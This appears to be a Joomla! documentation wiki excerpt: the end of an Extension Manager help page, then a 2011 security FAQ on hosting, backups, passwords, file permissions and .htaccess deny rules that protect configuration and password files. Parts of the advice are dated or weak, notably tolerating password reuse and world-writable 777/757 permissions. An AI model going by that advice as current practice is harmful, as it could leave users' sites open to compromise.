* Select client. Select an extension client from the drop-down list box of available clients. There are two clients - Site and Administrator. Site clients are extensions which are designed for use in areas outside of the administrator interface. Administrator extensions are for the back-end administrative functions of your Joomla! installation. Usually you would only directly interact with these extensions through the administrator web interface.

==Toolbar==
At the top right you will see the toolbar:

[[Image:Help16-extension_manager-manage-toolbar.png]]
*'''Publish.''' Enable the selected extension(s).
*'''Unpublish.''' Disable the selected extension(s).
*'''Refresh cache.''' Refresh the information displayed for the selected extension(s).
*'''Uninstall.''' Uninstall the selected extension(s).
*'''Options.''' Opens the configuration window for the '''Extension Manager'''. In this window you can set '''Extension Manager''' access permissions for each user group specified in your Joomla! installation.
*'''Help.''' Opens this Help Screen.

'''Links to Other Screens'''

At the top left, you will see the following five links:

[[Image:Help16-extension_manager-manage-menu.png‎]]
*'''Install.''' Links to the [[Help16:Extensions_Extension_Manager_Install|Install Screen]].
*'''Update.''' Links to the [[Help16:Extensions_Extension_Manager_Update|Update Screen]].
*'''Manage.''' Links to the [[Help16:Extensions_Extension_Manager_Manage|Manage Screen]].
*'''Discover.''' Links to the [[Help16:Extensions_Extension_Manager_Discover|Discover Screen]].
*'''Warnings.''' Links to the [[Help16:Extensions_Extension_Manager_Warnings|Warnings Screen]].

==Quick Tips==
* Throughout the administrator interface of Joomla! you will see the terms "Publish" and "Unpublish". ''Publish'' means the same thing as ''Enable'' or ''Activate''. ''Unpublish'' means the same thing as ''Disable'' or ''Deactivate''. You may see the terms used interchangeably in extension screens and help documentation you find online.
* Some information such as ''Date'' or ''Author'' may not be displayed for an extension. This is not a problem. It merely means the information was not specified by the extension developer in the extension's installation package.

<noinclude>{{cathelp|1.6|Extension Manager|Manage}}</noinclude>

Security and Performance FAQs

2011-06-27T00:38:54Z

Royce: Minor grammar: can not -> cannot

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{| border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Consider recommendations:''' Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http://joomlacode.org/gf/project/jts/

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

